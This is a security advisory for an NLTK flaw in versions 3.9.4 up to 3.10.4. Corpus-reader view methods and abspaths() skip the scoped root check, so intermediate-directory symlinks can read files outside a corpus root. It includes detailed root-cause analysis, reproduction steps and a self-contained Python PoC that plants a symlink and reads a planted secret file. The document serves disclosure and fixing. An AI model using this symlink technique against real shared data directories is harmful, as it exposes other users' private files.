All reports
Medium

NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks

Affected versions

PyPInltk
Affected versions
>= 3.9.4, < 3.10.4
Fixed version
3.10.4

Description

affected: PyPI nltk >= 3.9.4 — CorpusReader.abspaths()/abspath() and the PlaintextCorpusReader / SyntaxCorpusReader view methods dynamically reproduced: nltk 3.9.4 (8/9, scoped-escape checks), 3.10.3 (wheel, 9/9 checks) and master 6818767b9 (9/9 checks)


Source references (file:line) are to commit 303f6e2b (release tag v3.10.3). Line numbers in the released nltk wheel match this tag exactly; master 6818767b9 contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In 3.9.4 the same logic exists at earlier line numbers (api.py:222-236 for open(), api.py:161-203 for abspath()/abspaths(), data.py:382-388 for the pointer open, pathsec.py:105-114 for the scoped branch); the affected code is identical.

Summary

CorpusReader.open() (nltk/corpus/reader/api.py:235-257) is NLTK's hardened file-access entry point: after a lexical guard it calls validate_path(..., required_root=self._root) (api.py:246-249), and the scoped branch of pathsec.validate_path (nltk/pathsec.py:168-179) resolves symlinks and raises ValueError when the resolved target is not inside the corpus root. The view methods do not use this entry point: PlaintextCorpusReader.words/sents/paras (nltk/corpus/reader/plaintext.py:67-118) and SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words (api.py:473-519) build their streams from self.abspaths(fileids, ...) (api.py:174-217), which only does a lexical self._root.join(fileid) (nltk/data.py:452-469) and returns a FileSystemPathPointer. That pointer is opened via FileSystemPathPointer.open() → pathsec.open(raw_path, "rb") with required_root left at its default None (data.py:438-447, nltk/pathsec.py:752,783), so only the global allowed-roots check runs. The O_NOFOLLOW in _hardened_open (pathsec.py:676-731) protects only the final path component, so an intermediate-directory symlink inside the corpus root pointing at a sibling allowed root is followed by the kernel. A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that open() would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via PlaintextCorpusReader.words([...]) / SyntaxCorpusReader.words([...]) (and the abspaths()-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and test_required_root_blocks_symlink_escape were added for.

Details

Root cause: two sibling file-access channels on the same CorpusReader disagree about the scoped sandbox.

  1. CorpusReader.open() (api.py:235-257) — the guarded channel:

    • Layer 1 lexical guard (api.py:240-242) rejects absolute paths and ...

    • Layer 2 scoped guard (api.py:246-249) calls pathsec.validate_path(path, context="CorpusReader", required_root=self._root).

    • The required_root branch (pathsec.py:168-179) resolves the target with Path(raw).resolve() and raises ValueError when target.is_relative_to(scoped_root) is false.

  2. The view-method channel — abspaths() → FileSystemPathPointer → pathsec.open(required_root=None):

    • CorpusReader.abspath() (api.py:174-183) and abspaths() (api.py:185-217) return self._root.join(f) with no validate_path call.

    • FileSystemPathPointer.join() (data.py:452-469) only normalizes lexically (normpath + root-prefix startswith); it never calls os.path.realpath/Path.resolve, so the intermediate symlink is preserved verbatim.

    • FileSystemPathPointer.open() (data.py:438-447) calls _secure_open(self._path, "rb") (aliased from pathsec.open) with no required_root, so pathsec.open (pathsec.py:752) uses its default required_root=None and validate_path (pathsec.py:783) runs only the global allowed-roots check (pathsec.py:181-207).

    • Under ENFORCE=True + POSIX, _hardened_open (pathsec.py:676-731) opens with O_NOFOLLOW (pathsec.py:705) — but that flag only refuses a symlink in the final component; an intermediate directory symlink (corpus/sub -> <other allowed root>) is followed by the kernel. The post-open fd realpath re-validation (pathsec.py:728-731) again uses required_root=None, and since the target is inside an allowed root it passes.

  3. The view methods hand the unguarded pointers straight to the stream views:

    • PlaintextCorpusReader.words/sents/paras (plaintext.py:67-118, abspaths at 76/96/116) and chapters (plaintext.py:230).

    • SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words (api.py:473-519, abspaths at 478/489/498/509/517).

    • StreamBackedCorpusView._open() (nltk/corpus/reader/util.py:203-216) calls self._fileid.open(self._encoding) on the PathPointer (util.py:210), landing in the required_root=None path above.

Net effect (observed): the identical fileid "sub/secret.txt" is rejected by reader.open() with ValueError: Security Violation [CorpusReader]: Path ... escapes root ... but successfully read by reader.words(["sub/secret.txt"]), returning the out-of-root file's content.

The abspaths()/view-method bypass contradicts the contract stated in open()'s docstring (api.py:238, "Security patched: prevents path traversal and scoped escapes") and the class-level promise that every fileid stays within the corpus root (api.py:26-30). Existing regression tests cover only the open()/validate_path(required_root=...) path (test_corpus_reader.py:31, test_corpus_reader_pathsec.py:39-49), not the view-method channel.

PoC

A self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root R, sibling bar (inside the same allowed root), file bar/secret.txt = TOPSECRET, and an intermediate directory symlink R/sub -> bar. It then asserts the control (same fileid through open() is refused) and the attack (abspaths() pointer, PlaintextCorpusReader.words, SyntaxCorpusReader.words/sents read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused.

Scope note: dynamically run on (1) the released nltk 3.9.4 wheel, (2) the released nltk 3.10.3 wheel, and (3) master 6818767b9 (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the "global sandbox still blocks outside-allowed-root read" boundary check passes on 3.10.3 and master, and is expected to differ on 3.9.4: 3.9.4 ships pathsec.ENFORCE = False (enforcement became the default only in 3.10.0) and its pathsec.open is a thin builtins.open wrapper with no _hardened_open/O_NOFOLLOW, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all — the escape is broader there, not narrower. The required_root scoped guard (1b0e519e2, "Implement scoped root validation in pathsec sentinel") is present in 3.9.4 and every later release (v3.10.0/3.10.1/3.10.2/3.10.3 confirmed by tag inspection), and static comparison shows the identical abspaths()/view-method code path in all of them; 3.9.4 and 3.10.3 were the versions dynamically run.

Environment / steps (Python 3.10.12, Linux, pathsec.ENFORCE=True, POSIX):

  1. SANDBOX=$(mktemp -d); nltk.data.path.append(SANDBOX) — the private dir becomes an allowed NLTK data root.

  2. R=$SANDBOX/corpora/mysample, BAR=$SANDBOX/bar; write BAR/secret.txt = TOPSECRET.

  3. ln -s "$BAR" "$R/sub" — intermediate directory symlink inside the corpus root.

  4. Control: reader.open("sub/secret.txt") → ValueError: Security Violation [CorpusReader]: Path <BAR>/secret.txt escapes root <R> (refused).

  5. Attack: reader.abspaths(["sub/secret.txt"])[0].open().read() → b'TOPSECRET\n'; list(reader.words(["sub/secret.txt"])) → ['TOPSECRET']; same for BracketParseCorpusReader.words/sents.

  6. Boundary: R/out -> /etc (outside every allowed root) is refused with PermissionError: Security Violation [pathsec.open]: Unauthorized path ....

Live transcript, key output (identical on nltk 3.9.4, 3.10.3 and master @ 6818767b9 unless noted):

nltk version: 3.9.4/3.10.3   python: 3.10.12   (posix)
CONTROL open() rejects symlink escape                 ValueError: ... escapes root ...
abspaths() pointer.open() reads outside root          b'TOPSECRET\n'
PlaintextCorpusReader.words() leaks outside root      ['TOPSECRET']
SyntaxCorpusReader.words() leaks outside root         ['TOPSECRET']
GLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ...
                                                      (3.10.3+ only; on 3.9.4 the sandbox
                                                       is not enforced and the read succeeds)
RESULT: 3.9.4: 8/9 · 3.10.3: 9/9 · master: 9/9 (all scoped-escape checks pass)

The scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (ENFORCE=False, thin pathsec.open).

Impact
  • Type: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root — e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model — can read the contents of any file that lies inside a global NLTK allowed root but outside the corpus root.

  • Who is impacted: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via tar/git/app logic) into ~/nltk_data/nltk.data.path roots, and CI systems. The scoped guard was added specifically so that "corpus root + in-root symlink" cannot read outside the root even when the target stays inside the global sandbox.

  • Attacker requirements: a directory symlink must physically exist inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (fileids is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink — direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual tar extraction, git checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK's own downloader only handles .zip, and Python zipfile extraction does not preserve symlinks (a symlink member is written as a plain file), so a bare "upload a zip" delivery does not by itself place the symlink. This is why the vector is scored AV:L/PR:L rather than AV:N/PR:N: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under "who is impacted" rather than as a stronger default score.

  • Effect: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does not reach /etc/passwd or arbitrary paths outside the sandbox.

Suggested fix: make the scoped check the single shared behavior of the corpus file-access surface instead of an open()-only special case:

  1. In CorpusReader.abspath()/abspaths() (api.py:174-217), run pathsec.validate_path(self._root.join(f), context="CorpusReader", required_root=self._root) for every f before returning the pointer — this is the same Layer-2 check open() performs at api.py:246-249, so both channels reject a symlink-resolved escape identically.

  2. Alternatively (or additionally), thread required_root through the pointer: have CorpusReader attach its root to the FileSystemPathPointer (or have StreamBackedCorpusView._open() in util.py:203-216 pass a scoped root), so pathsec.open/_hardened_open validate the opened fd's realpath against the corpus root — closing the same gap for any future caller that opens pointers.

  3. Add regression coverage mirroring test_required_root_blocks_symlink_escape for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit fileids=["sub/secret.txt"], and an assertion that reader.words(fileids=[...]) (and sents/abspaths().open()) raise ValueError/PermissionError exactly as reader.open(...) does.


Reproduction script (self-contained)
# Self-checking, control-grouped reproduction script embedded in this advisory.
# Usage: python3 - <<'EOF' ... EOF   (requires: pip install nltk)
# A private temp sandbox is created at runtime and registered via nltk.data.path.

#!/usr/bin/env python3
"""Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.

The affected surfaces are:
  - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the
    required_root scoped check that CorpusReader.open() applies (api.py:235-257);
    PlaintextCorpusReader view methods open those pointers directly.
  - SyntaxCorpusReader view methods (words/sents/parsed_sents/tagged_words/
    tagged_sents) also open via abspaths() without the scoped check.

Control group: the SAME fileid through reader.open() is rejected by the Layer-2
scoped guard (validate_path(..., required_root=self._root)).

Environment: base sandbox dir is a private temp dir appended to nltk.data.path
(the attacker-controlled corpus root lives inside an allowed NLTK data root).
"""

import os
import shutil
import sys
import tempfile

import nltk
import nltk.data

PASS = 0
FAIL = 0


def check(name, cond, detail=""):
    global PASS, FAIL
    if cond:
        PASS += 1
        print(f"PASS  {name}  {detail}")
    else:
        FAIL += 1
        print(f"FAIL  {name}  {detail}")


def main():
    print(f"nltk version: {nltk.__version__}   python: {sys.version.split()[0]}")
    import nltk.pathsec as ps

    print(f"pathsec.ENFORCE = {ps.ENFORCE}   posix = {os.name == 'posix'}")

    base = tempfile.mkdtemp(prefix="nltk_sandbox_")
    os.chmod(base, 0o700)
    nltk.data.path.append(base)  # make the private sandbox an allowed NLTK data root

    rootA = os.path.join(base, "corpora", "mysample")   # corpus root R
    rootB = os.path.join(base, "bar")                   # sibling, inside allowed root
    os.makedirs(rootA)
    os.makedirs(rootB)

    secret = "TOPSECRET"
    with open(os.path.join(rootB, "secret.txt"), "w") as f:
        f.write(secret + "\n")

    # Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader
    with open(os.path.join(rootB, "bracket.txt"), "w") as f:
        f.write("(S (NP TOPSECRET))\n")

    # Intermediate-directory symlink inside the corpus root -> sibling outside R
    linkdir = os.path.join(rootA, "sub")
    os.symlink(rootB, linkdir)

    check("sandbox is an allowed root", base in {str(p) for p in ps._get_allowed_roots()})
    check("symlink created", os.path.islink(linkdir))

    # ---------------------------------------------------------------- control
    from nltk.corpus.reader.plaintext import PlaintextCorpusReader

    reader = PlaintextCorpusReader(rootA, r".*")
    try:
        reader.open("sub/secret.txt")
        check("CONTROL open() rejects symlink escape", False, "no exception raised")
    except ValueError as e:
        check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}")
    except PermissionError as e:
        check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}")
    except Exception as e:
        check("CONTROL open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------- abspaths() pointer
    ptr = reader.abspaths(["sub/secret.txt"])[0]
    try:
        content = ptr.open().read()
        check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}")
    except Exception as e:
        check("abspaths() pointer.open() reads outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------- PlaintextReader.words()
    try:
        words = list(reader.words(["sub/secret.txt"]))
        check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}")
    except Exception as e:
        check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------------------ syntax views
    from nltk.corpus.reader.bracket_parse import BracketParseCorpusReader

    brow = BracketParseCorpusReader(rootA, r".*")
    try:
        # control on the syntax reader open()
        brow.open("sub/bracket.txt")
        check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised")
    except Exception as e:
        check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")

    try:
        sent = list(brow.words(["sub/bracket.txt"]))
        check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}")
    except Exception as e:
        check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    try:
        sents = list(brow.sents(["sub/bracket.txt"]))
        check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}")
    except Exception as e:
        check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ----------------------------------------------------------- global-sandbox boundary
    # The escape is bounded: a file OUTSIDE every allowed root must still be refused.
    outside = os.path.join(base, "..", "etc")
    os.makedirs(outside, exist_ok=True)
    outfile = os.path.join(outside, "secret.txt")
    with open(outfile, "w") as f:
        f.write("OUTSIDE\n")
    # point a second symlink inside rootA to a directory outside all allowed roots
    linkout = os.path.join(rootA, "out")
    os.symlink(outside, linkout)
    try:
        got = reader.abspaths(["out/secret.txt"])[0].open().read()
        check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}")
    except Exception as e:
        check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).__name__}: {str(e)[:60]}")

    print(f"\nRESULT: {PASS} passed, {FAIL} failed")
    shutil.rmtree(base, ignore_errors=True)
    return 0 if FAIL == 0 else 1


if __name__ == "__main__":
    sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused).

Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.

Release: none yet; no release tag contains 9f7cf06b4.

Links

Credits

  • Yanhaoxi